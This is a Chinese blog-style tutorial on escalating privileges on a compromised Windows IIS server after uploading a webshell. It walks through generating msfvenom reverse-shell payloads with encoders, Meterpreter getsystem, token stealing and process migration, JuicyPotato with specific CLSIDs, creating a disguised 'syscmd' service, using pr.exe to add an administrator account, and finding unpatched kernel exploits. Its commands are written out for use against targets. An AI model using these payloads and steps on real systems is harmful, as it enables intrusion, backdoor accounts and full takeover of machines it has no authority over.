提权 | Windows体系
目录[*]cmd提权
[*]meterpreter提权
[*]getsystem
[*]steal_token
[*]migrate
[*]令牌窃取(MS16-075)
[*]烂土豆提权步调
[*]烂土豆提权原理
[*]sc命令提权
[*]抓本地密码提权
[*]其他工具
[*]pr工具
[*]内核提权
[*]WindowsVulScan
cmd提权
前言:我们getshell一个用windows摆设的网站后,通过蚁剑或者其他工具进行毗连的时间通常权限是不够的,执行简单的dir指令都会被拒绝访问,那么这时间其实就可以通过上传一个cmd直接进行提权,可以执行一些简单的命令而不至于一个指令都无法执行。
由于windows的iis网站摆设利用的用户是windows指派的iuser用户,iuser没有cmd的利用权限,所以无法执行指令。
[*]假设我们已经把木马放到了windows服务端上,通过蚁剑或者菜刀等等工具进行毗连。如果能够访问到c盘的目录那就直接下载下来,然后通过iuser用户上传到网站目录中,如果不可以那就利用上传文件功能上传一个cmd.exe,最好是和他windows体系版本匹配的cmd。https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545135-1214984280.png
上传cmd程序到网站目录下
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545044-350379789.png
[*]在网站目录下右键打开菜刀的虚拟虚拟终端,设置好我们要利用的cmd.exe程序。
注(在利用菜刀中):须要在该网站目录下打开虚拟终端,不要去毗连列表项处右键,否则会出现连dir都无法执行的环境,起码你在网站根目录下右键进入的权限还是个iuser用户能够执行简单指令。
setp c:\wwwtest\1111\cmd.exe
设置完成之后就可以进行一些指令操作了,
但是很遗憾的是我们whoami出来的用户依旧是windows指派给iis的iuser用户,
这里的network service就是指iuser用户。
比如我们无法进行用户的添加。https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220544985-801306872.png
这时间就须要利用windows的一些体系漏洞了,检察windows服务端有哪些往年爆出来的漏洞但是他没有打补丁。
meterpreter提权
这里利用meterpreter的条件是你在本机利用监听器监听端口,然后把提前生成的这个木马文件让目标机点击运行了,监听器毗连上session会话即可利用meterpreter进行后渗透工作。
这里简单介绍两个指令:
#以下指令中的木马文件生成路径都是可以修改的,不要过于死板
#里面的yourip是攻击机的ip,因为客户机要通过木马连接你
> msfvenom -p windows/meterpreter/reverse_tcp lhost=yourip lport=5000 -f exe -o /root/happy.exe
> msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=yourip LPORT=4444 -f exe > abc.exehttps://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545137-486110377.png
到这里先别直接让目标机运行起来,而是须要我们在metasploit中开启监听器,再让目标机运行木马毗连我们。
use exploit/multi/handler//使用msf的监听模块
set lhost 192.168.100.120//设置好监听器的ip地址,我这里就是kali主机ip地址
run//run就直接运行了,正在监听中(也可以使用exploit指令)牢记,use之后一定要切换payload,不要利用默认的,不然我们上面的payload生成木马指令对应不上就毗连不上了(由于我后面就是出现这个原因导致回来写这句话)
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545040-86197017.png
设置payload
set payload windows/meterpreter/reverse_tcphttps://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545036-1240052388.png
设置参数,然后run就是开始监听了
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545564-630455142.png
将木马文件传到目标呆板上,让其运行起来
菜刀上传
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545376-318756858.png
菜刀命令行运行起来
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545450-1822982472.png
但是没关系,只要运行起来了, 就能看到我们的meterpreter乐成拿下主机
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545478-1000693371.png
meterpreter下提权指令,这里介绍几个,我们上面使用whoami还是iuser用户,所以还没达到提权的目的。
getsystem #直接升至system权限
migrate 进程号 #需要你找到高权限的进程,然后迁移至他的pid实现提权getsystem
用法:getsystemmsf拿到shell后进入meterpreter,直接输入getsystem即可尝试提权。
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545487-1771103434.png
steal_token
用法:steal_token PID窃取system权限开启进程的用户的令牌,一般是找system用户,拿system权限开启的进程的token令牌提权,是否乐成可以通过getuid来检察是否为system权限
migrate
进程迁移提权
migrate 进程号用法如下
[*]首先利用ps检察哪些进程被较高用户权限开启的进程,原理是通过该指令将他的权限移植到我们自己这里来。
[*]比如下面的336,是system开启的,我们就可以尝试将他的权限移植给我们
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545536-938437254.png
耐心等候一下
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545480-778706489.png
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545431-1808077971.png
乐成移植,如果有时间getsystem不好使可以尝试一下这个。
令牌窃取(MS16-075)
工具百度网盘分享:
https://pan.baidu.com/s/1u-9f1_kRjfhjfmG6qV5ThQ?pwd=ws5x
烂土豆提权步调
1.检察是否符合提权条件
whoami /all 或 whoami /priv
如果`SeImpersonate` or `SeAssignPrimaryToken` 两个权限其中有一个开启了即可提权,都关闭即不符合条件2.去CLSID目录下查找CLSID
执行命令:
Powershell -ep bypass -f GetCLSID.ps1 > CLSID.list
目录下的GetCLSID.ps1和GetCLSID2.ps1 都能用,
如果GetCLSID.ps1用不了就用`GetCLSID2.ps1`,
而且我一般都用`GetCLSID2.ps1`
输出到CLSID.list文件中,是为了后续测试CLSID是否能用做铺垫https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545467-1860436817.png
3.测试可用的CLSID,bat文件在juicy-potato\Test\test_clsid.bat
上一步使用Powershell -ep bypass -f GetCLSID.ps1执行出来的内容输出到文件CLSID.list里面
然后把`JuicyPotato.exe`、`CLSID.list`、`test_clsid.bat`三个文件在同一目录即可
接着直接运行窗口运行test_clsid.bat即可看到哪些可以用的CLSID了https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545354-1769043786.png
4.接着就可以利用烂土豆exe程序了
这里用哪个CLSID的话就要打开看log文件,后面会对应着这个CLSID用户(选择SYSTEM的就提权为SYSTEM权限)
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545456-1540441224.png
比如我们选择第一个CLSID
JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -l 1155 -c {000C101C-0000-0000-C000-000000000046}
-t *表示-t t 或者-t u都可以,*代表SeImpersonate和SeAssignPrimaryToken随便开一个即可,
另外`-t t`代表`SeImpersonate`,而`-t u`代表`SeAssignPrimaryToken`,所以还是跟着官方教程直接使用*即可
他的教程也有说`-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both`
-p指定cmd路径,这里就是要以system权限启动的程序,待会拿到cmd执行whoami的时候就是system权限了(桌面弹新cmd窗口)
-l指定一个没有被系统使用的端口,没有固定值
-c指定可用的CLSID5.细节:还要注意检察RPC默认端口是否为135 && 注意防火墙是否允许是否允许RPC端口入站
端口问题:
RPC默认端口是否为135,如果不是的话就需要修改,只修要添加-n参数指定端口即可
比如:`JuicyPotato.exe -n 111 -t * -p c:\windows\system32\cmd.exe -l 1155 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}`
防火墙问题:注意端口号,如果不是135自己修改 localport=135 的值即可
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow6.提权乐成会在桌面弹出一个system权限的cmd窗口
但是我这里没找到合适的虚拟呆板,也就是说SeImpersonate or SeAssignPrimaryToken 两个权限都没有开,所以失败了
如果乐成的话是会弹出一个CLSID对应用户权限的cmd窗口
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545459-1474255786.png
烂土豆提权原理
COM对象即LocalService,而LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限
- 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程
- 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程
下面就是认证替换数据获取system权限原理
1、尝试加载COM,发出请求,你发起的这个请求加载的com的权限为System。这里的COM对象可以查到CLSID看用户是什么权限的用户,所以这也就是为什么我们提权前需要用对应为system权限的CLSID
2.上一步的发起加载COM主要是为了拿到回应步骤1的请求的这个数据,这里会回应然后发起NTLM认证,但是很明显你不是system权限,所以无法认证认证成功。(目的达到了,拿到请求system权限回应过来的NTLM数据)
3.针对本地端口,同样发起NTLM认证,权限为当前用户,这里肯定会认证成功,所以拿到认证成功的NTLM认证的数据
4.分别拦截两个NTLM认证的数据包,通过NTLM重放使得(权限为System)的NTLM认证通过,然后拿到system的token数据。(越权漏洞)
5.拿着system权限的token启动程序,创建出来的进程就是system权限了,比如cmdsc命令提权
针对版本windows 7、8、03、08、12、16
这种通常须要直接远程主机或者比力强的反弹shell中利用才行
这种方式是通过创建服务的方式进行提权,不过利用webshell比力弱的毗连方式是无法做到在毗连器中进行提权,所以这里演示的是直接在目标机中直接利用命令进行提权。
Administrator不是最高的权限,system才是,所以我们在Administrator中也能够表现出提权效果。
如下:
首先打开cmd终端,如今属于Administrator用户,如今要提权为system权限。
命令
添加服务:sc Create syscmd binPath= "cmd /K start" type= own type= interact
执行服务:sc start syscmd
syscmd在添加服务的时候可以定义服务名称,执行服务的时候也是用这个名称,为了具有迷惑性,所以我一般选择syscmd等等其他名字也可以。
执行服务后会自动弹出另一个dos窗口,而不是在本窗口中,这也是webshell用不了的原因。webshell太拉了。https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545443-1899011121.png
抓本地密码提权
这里要是能抓到管理员的密码登录也是提权的一种方式,在内网渗透中有提到本地密码提取,但是你要用工具拿密码的一般都须要高权限,我们如今就处于低权限,所以比力
内网渗透-内网信息收集(一):
https://blog.csdn.net/weixin_60521036/article/details/142964820
其他工具
工具有很多,pr、巴西烤肉、iis6等等。这里就介绍pr提权。
pr工具
主要实用于Windows Server 2003和Windows XP体系
这里演示一个pr和一个pr免参数的debug.exe,我们丢到靶机上面试试,提权工具在github上搜就能搜到。
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545408-1542910222.png
上传乐成后,打开虚拟终端,在上传文件目录下 直接运行该程序即可 。运行乐成后可以看到他运行了哪些指令,其实这个一看就知道是默认创建了一个temp用户名,密码是123456,然后将用户添加到了管理员用户组中,那么我们就可以拿着这个用户去远程毗连这个目标机了。
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545381-96894288.png
如果想指定用户名和密码的就是用pr.exe上传过去利用,用法是:pr.exe "net user uname passwd /add" , 用法其实就是windows正常创建用户的指令语法,只不过是将参数传到pr.exe中让他帮你创建,注意,这里依旧是帮你自动添加到管理员用户组,你可以net user检察一下用户组成员。
那么问题来了,既然pr.exe可以帮我们执行创建用户和添加用户组行为,那是不是也可以执行其他操作??对的!!
pr.exe "指令写在这就会按照system用户帮你执行"
如下所示:(这里提前将pr.exe上传过去目标机了)
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545430-1028366983.png
内核提权
一般我还是用内核提权居多。
微软官方公布的漏洞编码号:https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
快速查找未安装的补丁cmd指令:
systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt指令输入后看到很多补丁没有打的话,补丁上面临应的这些漏洞都可以尝试一下。
拿着没有打的漏洞补丁去github上看对应的提权工具:https://github.com/SecWiki/windows-kernel-exploits
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545435-224641455.png
对应的exp保举以下的链接地址,但是都是目前已公布的,未公布的谁也不敢发。
已对外公开exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalationhttps://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545567-2139884011.png
exp有直接的exe运行程序的话就可以把这个exe程序丢到目标机上,让目标机运行
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545451-1054155020.png
下面还有对应的利用方法,一般都是利用msf来毗连控制目标机的。
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545444-1191189236.png
WindowsVulScan
还可以通过WindowsVulScan工具来收集可打的漏洞
1.将KBCollect.ps1文件放到目标主机上
2.在cmd输入powershell,然后运行.\KBCollect.ps1
3.若是由于权限报错,下面方法可以解决
====================第一种方法=========================
输入:get-ExecutionPolicy
(此时会输出得到:Resticted)
输入:Set-ExecutionPolicy-Scope CurrentUser
输入:RemoteSigned
验证是否解决问题,输入:get-ExecutionPolicy
(此时返回RemoteSigned的话问题得到解决)
======================================================
====================第一种方法=========================
解决办法:(参考文章:https://ligowi.github.io/2021/02/04/RemoteSigned%E9%97%AE%E9%A2%98/)
1》Windows+R;
2》输入PowerShel l;
3》运行 “Set-ExecutionPolicy -Scope CurrentUser”;
4》出现ExecutionPolicy: ,填入RemoteSigned;
5》输入Y
6》关闭PowerShel ,然后执行get-ExecutionPolicy,发现变成了RemoteSigned,就成功了。
======================================================
4.继续运行.\KBCollect.ps1会生成补丁检测包KB.json
5.把补丁检测包放到我们的物理机上
6.运行python cve-check.py -C -f KB.json
接着就去github漏洞库找到对应的漏洞去提权即可,下面是漏洞库
漏洞库:https://github.com/nomi-sec/PoC-in-GitHubps1脚本放到目标呆板上利用powershell执行,报错后我这里利用了第二种方式最后才乐成执行脚本,报错第二种办理方法在上面有写这里省略了,直接看执行结果。
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545430-344130892.png
然后按照步调将KB.json文件或者内容在脚本中执行
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545432-1469322134.png
python cve-check.py -C -f KB.json结果出来后就可以看到哪些漏洞可以打,然后去漏洞库找exp就行了
https://img2024.cnblogs.com/blog/3392862/202410/3392862-20241023220545673-602042931.png
END.
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]